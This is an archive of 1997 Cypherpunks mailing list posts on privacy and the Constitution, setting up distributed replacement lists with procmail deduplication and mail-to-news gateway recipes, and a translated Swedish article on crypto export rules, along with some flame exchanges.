Date: Mon, 17 Feb 1997 17:05:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702170726.XAA26470@toad.com>
Message-ID: <33090036.456B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> >> Some legal scholars are claiming that there is no provision in the
> >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> >> number of purchases can no longer be anonymous--guns, explosives, chemicals
> >> of various sorts, etc. How long before _all_ transactions must be recorded,
> >> True Names revealed, etc.?
[snip]
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution. (And I always thought the "woman's right to privacy"
> argument for abortion was flaky. Accepting such an argument, wouldn't
> infanticide be equally protected by a woman's right to privacy?)

A perfect invitation for rational argument.  You obviously refer to
the privacy/right to destroy your own personal property, which you
pretty much have in the U.S., Constitution or no.  So the issue
above is whether the unborn baby is personal property (in the sense
that I can chop off my hair or even my ear if I want to), or the
child is personal property.  The child issue has been settled
effectively for many years now, but the controversy remains on the
unborn.

At least some of this privacy discussion would be better presented
from another angle - how deep would the feds want to probe into the
common folks' lives, what techniques would be employed, how would
the serious folks get around those things, and where would the
greatest (and most serious) amount of actions converge to flare up
in the public consciousness (media, internet, etc.)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 17 Feb 1997 17:03:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Telecom Frequently Asked Questions File - 1997 Edition [fwd]
Message-ID: <v02140b05af2eb094f1fd@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


  From: David Leibold <djcl@interlog.com>
  To: Telecom Digest <ptownson@massis.lcs.mit.edu>
  Subject: Telecom Digest FAQ - revised edition

TELECOM Digest - Frequently Asked Questions - v.8           8 February 1997

* Frequency of Updates: approximately annual (special updates are possible)

* FAQ contributions to: Telecom.FAQ@superctl.tor250.org
                        or, dleibold@else.net
                        or, aa070@freenet.toronto.on.ca

Introduction...

This is a list of frequently asked questions made in the TELECOM Digest.
New versions of the list are occasionally made available to deal with new,
corrected or updated questions. Many contributors have made the FAQ what
it is today (those listed in the "Who contributed to this FAQ?" question
are hereby thanked).

Check the Archives...

Much of the telecom information that is requested can be found in the
TELECOM Digest Home Page, via WWW at:

         http://hyperarchive.lcs.mit.edu/telecom-archives

This web page should have links to this FAQ file, as well as various
informational files on telecom subjects and the Digest itself. The
Archives for TELECOM Digest should also be available via the Home Page.

The TELECOM Digest Archives are also available through anonymous FTP at
massis.lcs.mit.edu (login as anonymous, mail address for password, cd to
telecom-archives). If possible, try to access the information via the
TELECOM Digest Home Page first. You can also access the Archives using
anonymous ftp at the mirror site: ftp.epix.net/pub/telecom-archives.

Also, there is an email <--> ftp service operating called the Telecom
Archives Email Information Service. Anything in the archives can be
obtained automatically by email. Send mail addressed to:

              tel-archives@massis.lcs.mit.edu

The subject does not matter. Include no text, sending just a blank
letter. You will get a help file by return mail and should use that
as a guide to ordering stuff by email from the archives.

A list of terms commonly used in TELECOM Digest is contained in a
"Glossary" section on the Home Page or in the Archives.

Try direct inquiries...

Direct netmail requests to persons posting on topics of interest to you may
also be helpful. In fact, doing things "behind the scenes" can be more
productive as the Digest Moderator is frequently swamped with other items.
Future editions of this list could include netmail addresses of contacts for
certain topics (say for ISDN, cellular, area codes/numbering plan, consumer
protection matters, etc.); offers to that end would be appreciated.

Where to contact the FAQ maintainer...

Suggestions for other common questions, or corrections or other amendments
to this file may be made to Telecom.FAQ@superctl.tor250.org (Fido
1:259/730) or dleibold@else.net or aa070@freenet.toronto.on.ca. Note that
any or all of these addresses are subject to change or discontinuance.

This file is updated approximately annually; special updates may be made as
time and circumstances permit.

Disclaimer Type Stuff...

All information herein should be considered subject to correction or
change. No endorsements or promotions of specific products or companies
are intended. Any specific references are made for example only, or in
order to adequately deal with certain subjects.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:12:54 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
In-Reply-To: <Pine.LNX.3.95.970216122351.2356M-100000@dhp.com>
Message-ID: <330901F3.750E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> ISP_Ratings wrote:
> >   Yes--and given the role Dr. Vulis has played in this matter
> > it would be most appropriate for him to write an FAQ (although
> > I personally ignore most FAQs).

>Perhaps it would be more appropriate for the good doctor to write a FUQs.

Why not do it like the Declaration of Independence?  A primary author
puts the basic document together, and other persons with expertise in
other important areas add to it, then it gets circulated on the list
for comments and suggestions.

"Other areas" not normally addressed in these kinds of documents
should include subscribers' awareness that the crypto lists are
a prime target of attention from federal agencies, et al, and
that much of the material posted could be pure disinformation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Feb 1997 16:30:22 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <199702170736.CAA02163@mercury.peganet.com>
Message-ID: <330905A2.5371@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> Everyone and his/her cousin has jumped into the void
> created when John Gilmore decided to pull the plug
> on toad.com.
> Has anyone composed a concise summary of just
> what the options are? 

  I have subscribed to Igor's cypherpunks@algebra.com.
  Jim Choate and Lance Cottrel (?) are participating with Igor and
others in maintaining continuity of the list, to my understanding.
  They all seem to be moving toward maintaining a distributed list
which will ensure both continuity and integrity. I would suggest 
joining one or the other list and then, once the 'dust' has 
settled, taking steps to verify that whatever list you are 
subscribed to is operating in such a way as to ensure that there
are no shenanigans going on in the background.
  I, for one, am content to give the new list distributors the 
benefit of the doubt if there are anomalies in the new system,
given the haste in which they must initiate a new distributed
mailing list system.
  On the other hand, they may all be godless communists, seeking
to twist our fragile minds to do their bidding. (Much like myself)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 17 Feb 1997 18:57:59 -0800 (PST)
To: snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180256.SAA14316@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:52 PM 2/17/97 -0700, drose@AZStarNet.com wrote:
>Yea, (as D. Thorn might babble, if I understand the shards of his stuff
>quoted in the posts of those who should know better) when I was a young
>fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
>have any idea what metallic sodium and red fuming nitric acid and Willy
>Ley-strength Hydrogen Peroxide are all about?"

Yes, those nosy shopkeepers should really keep it to themselves!  I remember 
at about age 14 being pissed because I'd been sold _10%_ nitric acid, 
when I was expecting the 70% stuff!  Within a few weeks I was buying direct 
from his supplier!






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 17:05:25 -0800 (PST)
To: raph@CS.Berkeley.EDU (Raph Levien)
Subject: Re: List of reliable remailers
In-Reply-To: <199702171450.GAA16062@kiwi.cs.berkeley.edu>
Message-ID: <199702180057.SAA10702@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Raph Levien wrote:
> 
> information about remailer features and reliability.
> 
>    To use it, just finger remailer-list@kiwi.cs.berkeley.edu
> 
>    There is also a Web version of the same information, plus lots of
> interesting links to remailer-related resources, at:
> http://www.cs.berkeley.edu/~raph/remailer-list.html
> 

Raph,

Would it be possible to use your testing program to test reliability of
cypherpunks mailing lists?

Thank you.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Mon, 17 Feb 1997 08:59:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: suppressing duplicates based on MD5 of body
Message-ID: <199702171658.SAA03217@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


It's been more than 30 hours since I sent the first copy of this message
to cypherpunks@toad.com, and I still haven't seen it on either the
moderated or the flames lists @toad.com.  Suspecting that a particular
naughty word was to blame, I inserted some hyphens and resent the
message several hours later.  That too has failed to reach me on either
the moderated to the flames lists @toad.com.  I am now kmtkujatwv to
several other flavours of the list, and will be interested to see which
(if any) get *this* message, in which the naughty word is encrypted
using the well-known ROT-n algorithm, with a key that I will keep
secret.

Heres's a procmail recipe for suppressing duplicate messages based on
the MD5 of a "normalised" version of the body of the messages.  Folk who
celcmbslo to more than one of the cypherpunks lists may find it useful.

:0
* (Sender: |Return-Path: |Received:.*for.*)(owner-)?cypherpunks
{

    # Detect duplicate messages based on MD5 of normalised body
    :0:.md5.lock
    * B ?? ? (m=`$HOME/bin/normalise-body | md5`; \
	echo "Message-ID: <$m@MD5>" \
	| formail -D 8192 .body-md5.cypherpunks.cache )
    cypherpunks-duplicates

    :0:
    cypherpunks
}


The "* B ?? ?" means "send the body of the message as input to
the following command, and test the command's exit status".
$HOME/bin/normalise-body is a simple perl script (appended) that deletes
trailing blanks on all lines and then deletes leading and trailing blank
lines.

--apb (Alan Barrett)

# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	normalise-body
#
echo x - normalise-body
sed 's/^X//' >normalise-body << 'END-of-normalise-body'
X#!/usr/bin/perl
X
X# A very weak attempt at normalising the body of a mail message.
X# Removes trailing white space on all lines, and removes leading
X# and trailing blank lines.
X# Does not attempt to normalise any MIME content-transfer-encoding.
X
X$total_nonblank_lines = 0;
X$consecutive_blank_lines = 0;
Xwhile (<>) {
X    s/\s+$//;
X    if (/^$/) {
X	$consecutive_blank_lines++;
X    } else {
X	print "\n" x $consecutive_blank_lines if $total_nonblank_lines;
X	print $_;
X	$consecutive_blank_lines = 0;
X	$total_nonblank_lines++;
X    }
X}
END-of-normalise-body
exit




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 17:11:23 -0800 (PST)
To: markm@voicenet.com (Mark M.)
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <Pine.LNX.3.95.970217125144.1066A-100000@purple.voicenet.com>
Message-ID: <199702180107.TAA10923@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mark M. wrote:
>  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
> 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

... Along with several others.

>  - The distributed list is still forming and so far consists of
> 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
> 	do not know the location.  A mail<->news gateway is planned, but not
> 	yet in place, between the distributed list and the newsgroup(s).

It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
newsserver offering several cypherpunks newsgroups.

I am not yet sure if taz is now a part of the mainstream usenet, that 
is, it may not be connected to the Big USENET.

> 	cypherpunks@algebra.com is receiving messages from
> 	cypherpunks-unedited.  I assume this means that the other hosts part
> 	of the distributed list are also receiving cypherpunks-unedited
> 	messages.

Correct.
 
>  - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
> 	not yet part of the distributed list.  It is also receiving feed from
> 	toad.com.

I will subscribe to it.

Now, it is important to realize that Lance's machine is probably much
better connected than mine. Once we get connected with him, you may be
better off reading cypherpunks from cypherpunks@cyberpass.net. If you
su-bsc-ribe to cypherpunks@algebra.com, it may take longer for articles
to reach you.

 
> If you don't want to miss any messages, then you should subscribe to both
> cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
> are receiving cypherpunks-unedited, you can safely unsubscribe from
> cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
> overlapping content, you should delete duplicates.

I still think that it is a good idea to do nothing for several days and
wait until the distributed network picks up cyberpass. Then, subscribe
to any node of your liking.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 17:51:09 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218014256.29119.qmail@taz.nceye.net>
Message-ID: <199702180145.TAA11577@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan Reece wrote:
> 
>    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>    newsserver offering several cypherpunks newsgroups.
> 
>    I am not yet sure if taz is now a part of the mainstream usenet, that 
>    is, it may not be connected to the Big USENET.
> 
> It receives some Big Usenet groups, but only for local users.
> alt.cypherpunks is open, but there will be long delays, on the
> order of a day, for articles there (unless someone better connected to
> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
> 

I just set up a recipe for using mail2news gateways like this:

:0 c
| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

Any objections?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 18:10:12 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218015644.32237.qmail@taz.nceye.net>
Message-ID: <199702180158.TAA11812@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan Reece wrote:
> 
> Igor Chudov writes:
>  > Bryan Reece wrote:
>  > > 
>  > >    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>  > >    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>  > >    newsserver offering several cypherpunks newsgroups.
>  > > 
>  > >    I am not yet sure if taz is now a part of the mainstream usenet, that 
>  > >    is, it may not be connected to the Big USENET.
>  > > 
>  > > It receives some Big Usenet groups, but only for local users.
>  > > alt.cypherpunks is open, but there will be long delays, on the
>  > > order of a day, for articles there (unless someone better connected to
>  > > Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
>  > > 
>  > 
>  > I just set up a recipe for using mail2news gateways like this:
>  > 
>  > :0 c
>  > | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>  > 	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl
>  > 
>  > Any objections?
>  > 
>  > 	- Igor.
> 
> It would be more mailing-list-like to have the list in a separate,
> isolated hierarchy.  That would avoid the principal problems of Usenet
> (delays and email spam).

It is a very good objections. I would like readers to speak up and say
their word for or against forwarding the list messages to
alt.cypherpunks.  If a significant number of people objects (2-3 is
enough) I will disable this feature.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Terry L. Davis" <terryld@earthlink.net>
Date: Mon, 17 Feb 1997 20:45:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Removal from newsgroup listing
Message-ID: <33093394.41F3@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


I'm not certain how I got on the cypherpunks newlist, but it's way over 
my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
Thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Mon, 17 Feb 1997 17:54:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <3.0.32.19970217205543.0069f644@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:28 PM 2/17/97 -0800, you wrote:


:anomalies in the new system,

[now the big words!]

:given the haste in which they must initiate a new distributed
:mailing list system.
:  On the other hand, they may all be godless communists, seeking
:to twist our fragile minds to do their bidding. (Much like myself)
:
:Toto

I recant. You ARE nuts!

Alec

Niice post.  
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Mon, 17 Feb 1997 21:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Message-Id / mail2news gateways.
Message-ID: <9702172059.ZM3730@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


This is for all the volunteers who are working on setting up the
distributed cypherpunks mailing lists.

1) Please preserver Message-Ids while resending messages. The
Message-Id is intended to be unique to a message and can be used
to reject duplicates. Usenet software in particular, detects
duplicates by Message-Id.

2) In response to Igor's query, I would very much like at least
on of the distributed lists to be set up such that messages sent
there will *not* be gatewayed to Usenet. As I mentioned, I will
not post to Usenet with my real email address, and if all lists
get gatewayed to alt.cypherpunks, I have to set up fake email
headers to mail to the lists also. If at least one of the
lists can gaurantee that it won't be gatewayed to Usenet, I
don't have to do that, and as a nice bonus, Prof. Froomkin
can continue to be active on cypherpunks.

This can be achieved by the list software adding an
"X-Post-to-Usenet: No" or some similar header to every
message it sends out. Also a header, such as X-List:
should be set to indicate under which mailing list a message
first entered the system. This will be worthless unless all
the list servers honor these headers.

Thanks.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 20:05:22 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180405.VAA14281@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


My dear fellow:

I suppose you missed the notion that, on the Internet, *some* folks know
that you are a dog.

P.S. You, Dimi, D. Thorn, Dimi, "Nurdane Oskas", Dimi, "Awaken to Me",
Dimi,"World's Youngest Cypherpunk", Dimi, "Andre the Cypherpunk", Dimi, etc.
etc. are to be commended if not appreciated for your efforts in ruining an
amazingly good thing.  See you in alt.baloney.  Incidentally, do you
habitually defecate (FYI, that's "to discharge feces from the bowels") in
your own single-wide? (Son, that's a rhetorical question.)

The very fact that you shamelessly and boneheadedly refuse to keep your head
down after all of the damage that you and your lot have caused (with 1K+
lurkers "looking on") is worthy, certainly, of some serious consideration.

Ia! Ia! Cthulhu Fhtagn!

>drose@azstarnet.com wrote:
>> 
>> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
>> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? 
>
>  Sounds like this is an on-topic post for the 'flames' list.
>
>Toto
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Mon, 17 Feb 1997 18:19:56 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: The Science Generations, II
In-Reply-To: <199702172056.MAA13556@toad.com>
Message-ID: <199702180218.VAA24435@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: text/plain


< snow writes >
> 	This is where I often get a little confused.
> 
> 	Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
> 	In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).
> 
> 	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> can only, ONLY do what the constitution says it can.
> 
> 	???

	( non-US residents, tune out ... )

	This is the way it ( the constitution ) was written to work; however, 
the feds have found an interesting way around this.  Here, in two easy steps,
is their secret backdoor through the constitution:

	Step 1:	Take our money in federal taxes.

	Step 2:	Refuse to give it back to us unless we follow their guidelines.

	It's been done time and time again, "for our own good".  Witness the
country-wide drinking age of 21 ( if states don't enact it, they lose their
highway funds ), or the upcoming welfare "return" to the states.

	So, while the Federal government doesn't enact the legislation, they
have a big enough stick to force states and local govt. to bend to their
"suggestion".

	Sorry.

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 20:39:38 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180439.VAA24310@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
subscribed to a million and one lists that I never knew I needed (and so
quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
is going away *real * quick, so save your keystrokes. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Mon, 17 Feb 1997 21:39:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: European crypto export policy
In-Reply-To: <m0vweWa-0003b9C@ulf.mali.sub.org>
Message-ID: <v03010d02af2ee4f0c1f2@[17.219.102.16]>
MIME-Version: 1.0
Content-Type: text/plain


At 02:39 +0100 1997.02.18, Ulf Möller wrote:
>Swedish Datateknik 97-02 features an article about how COCOM/ Wassenaar
>Arrangement effects Swedish crypto exports.
>
>I wonder if someone whose Swedish is better than mine could summarize
>the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html
>
This is a sloppy and probably inaccurate translation.

Martin Minow
minow@apple.com

Datateknik 97-02 97-01-30

EEC countries forbidden for Swedish crypto-export.

The export control agreement that governs Sweden's export of sensitive
high-technology even stops sale of encryption software to several
EEC countries. Security-political considerations from cold war days
are a serious barrier for integration in the EEC.

In international regulation of high-technology commerce, crytographic
equipment and crypto-software is either directly considered "war material"
or counted as dual-use products -- i.e. products with both civil and
military use. Twenty-eight industrial countries, including Sweden, stand
behind the rules ... called "Wassenaar Agreement" after the suburb
to Den Haag in the Netherlands where they were written.

... The Wassenaar Agreement is a continuation of COCOM (the West's
embargo of high-technology to the Eastern block). After COCOM was lifted
in 1993, there were discussions about what should be included in
future controls. The USA, for example, would not accept Russian
involvement while Russia exported weapons to Iran. Eventually, Russia
and the other Eastern-Bloc countries accepted Wassenaar [this is
probably a poor translation] and, today, 33 states are partners in the
agreement, including even South Korea, Bulgaria, and Turkey.

... Encryption equipment is included in the group "information security"
in the goods-list and regulations that control Swedish high-tech export.
(SFS 1994:2060, lastest revision December 1996). [SFS is the national
registry of all Swedish laws, proclamations, and similar.] This control
includes essentially all digital encryption systems. Export may not take
place without approval of the "Inspectorate for Strategic Products" (ISP)
at the Foreign Office.

Following the rules, a Swedish resident would break the law by carrying
a portable computer with a "trivial encryption program (that is not
commercially available)" on the ferry boat across Oresund to Denmark
without a specific export license! A bank ATM card with an encrypted
password can be carried, but not a "smarter" bank or ID card.

While licenses are available, they require special testing. The product
must be "strength-classified" which, in complicated cases, would be done
by the the Defense Radio Service (FRA) [the Swedish equivalent to NSA].
Also, the destination land and the importer's technical knowledge will
also be examined closely.

For Swedish exporters to Europe, this is often experienced as a
"terrorising bureaucracy." ''We who are major exporters of encryption
equipment to telephone [service] operators in, for example, Germany,
must let every delivery be individually examined by ISP despite the fact
that the same products are often repeated,'' says Haakan Persson at
Swedish AU-system. The explanation is that not every EU land fulfills
the Wassanaar requirements.

The point of the rules, explains Egon Svensson at ISP, is that we do
not spread advanced technology to countries that have not had it previously.
Thus, certain countries are excluded. For encryption equipment, only
England, France, Holland, Sweden, Germany, and perhaps a few others, are
considered to have sufficicent capacity and knowledge to be recipient
countries. They say that the restrictions within EU are temporary, but
there is no immediate sign that they will be eased.

Author: Christer Akerman, christer.akerman@datateknik.se

Original Copyright Datateknik

-----
ps: the same issue of DataTeknik has a review of a Swedish biography of Arne
Beurling, a Swedish cryptographer who broke a German World War II telegram
(teletype?) encryption machine "Geheimschreiber T52a/b." After Germany
occupied Norway, all German communication passed through neutral Swedish
telegraph cables, and the Swedes didn't pass up the chance to sample
the traffic. Breaking the code was described by David Kahn as "one of
the great feats of crytoanalysis" of the Second World War. The book is
Svenska kryptobedrifter" by Bengt Backman. Bonniers, ISBN 91-0-056229-7







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 19:32:33 -0800 (PST)
To: jer+@andrew.cmu.edu>
Subject: Re: The Science Generations, II
In-Reply-To: <0n2APH200YUe0Bfrk0@andrew.cmu.edu>
Message-ID: <Pine.LNX.3.95.970217222903.2984A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Jeremiah A Blatz wrote:

> You neglect things like the interstate commerce provision, which means
> that if it crosses state lines, the feds can regualte it. In addition,
> the court (in its infinite wisdom), decided that "the people" meant
> the states, then the people. So, as long as it isn't meantioned in the
> constitution, the states can do whatever they want.

The 10th amendment states:
"The powers not delegated to the United States by the Constitution, nor
prohibited by it to the states, are reserved to the states respectively, or
to the people."

This sounds pretty clear to me.

Theoretically, the states can do whatever they want as long as they don't
infringe on the rights of the people.  The 9th amendment protects all rights
not explicitly stated in the constitution.  The 5th and 14th amendments both
protect people from losing life, liberty, or property without due process.  I
believe that the 14th was used as justification for Roe vs. Wade, since the
court decided that abortion is a liberty and any law forbidding it deprives a
woman of liberty without due process.

Of course, in practice, we know that the situation is much different...


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 19:57:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <01IFJFI7LF848Y4YVV@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From: ichudov@algebra.com (Igor Chudov @ home)

>Bryan Reece wrote:
>> 
>> It receives some Big Usenet groups, but only for local users.
>> alt.cypherpunks is open, but there will be long delays, on the
>> order of a day, for articles there (unless someone better connected to
>> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).

	Well, Lance Cottrell would appear to be a good person to ask
on this matter, but...

>I just set up a recipe for using mail2news gateways like this:

>:0 c
>| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

>Any objections?

given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
cyberpass.net, it would appear to be unnecessary if this recipe is in
use. However, I do have one problem with this recipe: lack of
loop prevention if a news2mail gateway is going in the other direction.
I don't know, but the mail2news gateway folks may not be too happy with
this idea either, given massively increased load; this is particularly
true since IIRC misc.misc is _not_ the proper place to crosspost stuff
from & to; it's only for stuff that _really_ doesn't fall under any
other category. (I've crossposted this message to the remailer-operators
mailing list to make sure it gets to the operators of the gateways in
question.)

In regards to your later query about whether people want their postings
going to Usenet, might I suggest that this be individual to the given
distributed mailing list? In other words, since the recipe is logically
going to have to not forward to a gateway messages from other mailing
lists (since it's not a good idea to have multiple copies of the same
message arriving at the gateway if it can be helped; better to filter
it out beforehand), some of the mailing lists can forward and the
others cannot. (One could even determine this behavior on application
of the proper X-header, although I never trust various mailing systems
to forward such intact.) The same could also be done with gatewaying
_from_ Usenet - if the news2mail gateway feeds to whatever individual
lists sign up to it and they _don't_ forward such messages to others,
people can decide whether or not to receive Usenet postings on
alt.cypherpunks.* by which list they subscribe to.
	-Allen

P.S. A thank you to Reece for setting up a gateway; I had looked
at the program and did _not_ much like the idea of having to
maintain it on my limited knowledge of C/C++ and mailing
software.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 20:41:12 -0800 (PST)
To: reece@taz.nceye.net
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <01IFJH1ONXA88Y4YVV@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06

>>   use. However, I do have one problem with this recipe: lack of
>>   loop prevention if a news2mail gateway is going in the other direction.

>All the mailing-list hosts are supposed to check for duplicates before
>forwarding anything, so this shouldn't do anything worse than have a
>few extra copies of each post get discarded, loading the network and
>the hosts a bit more.  But posting the list to a widely-distributed

	Umm... IIRC, the only person who's announced how he's filtering
for duplicates is Igor, and he's just checking for messageIDs. Won't
those get chunked on going through a mail2news gateway, and thus
possibly come back through a news2mail gateway? The filtering
mechanism could be improved via MD5 digests, etcetera (someone's
already given a recipe for such; thank you), but even so various
mungings could still set up a mailing loop. (Yes, I'm paranoid
about those; I may have been reading list-managers for too long and
seen too many stories on there.) The sensible place to keep
track of possible duplicates is at the gateway; it can
certainly filter based on that it (or, for that matter, another
known bidirectional gateway) sent a message out.

>newsgroup seems wrong for noise (both to the list itself and to
>posters) and delay reasons.

	Delay reasons being that mail will go to Usenet, go
all over the place there, and then get replied to later than if
it were just on the mailing list(s)? A potential problem, yes.
But (especially given the options I mentioned below), this
would appear to be a matter for individual users to decide
by which list they go with and any added control headers.
Maximum individual sovreignty (sp?).

>>   In regards to your later query about whether people want their postings
>>   going to Usenet, might I suggest that this be individual to the given
>>   distributed mailing list? In other words, since the recipe is logically
>>   going to have to not forward to a gateway messages from other mailing
>>   lists (since it's not a good idea to have multiple copies of the same
>>   message arriving at the gateway if it can be helped; better to filter
>>   it out beforehand),

>It doesn't seem an especially bad idea, since it 

	Thank you. Were you cut off?

>>   some of the mailing lists can forward and the
>>   others cannot. (One could even determine this behavior on application
